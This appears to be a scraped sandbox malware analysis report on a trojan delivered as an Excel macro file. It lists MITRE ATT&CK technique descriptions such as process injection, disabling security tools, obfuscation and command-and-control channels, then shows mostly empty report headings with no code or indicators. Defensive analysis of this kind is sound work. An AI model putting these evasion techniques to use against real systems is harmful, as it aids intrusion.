Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report SecuriteInfo.com.Trojan.Agent.FFFK.8079.3665

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 255780

General

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Function 023B1000, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101
windowtimesleepCOMMON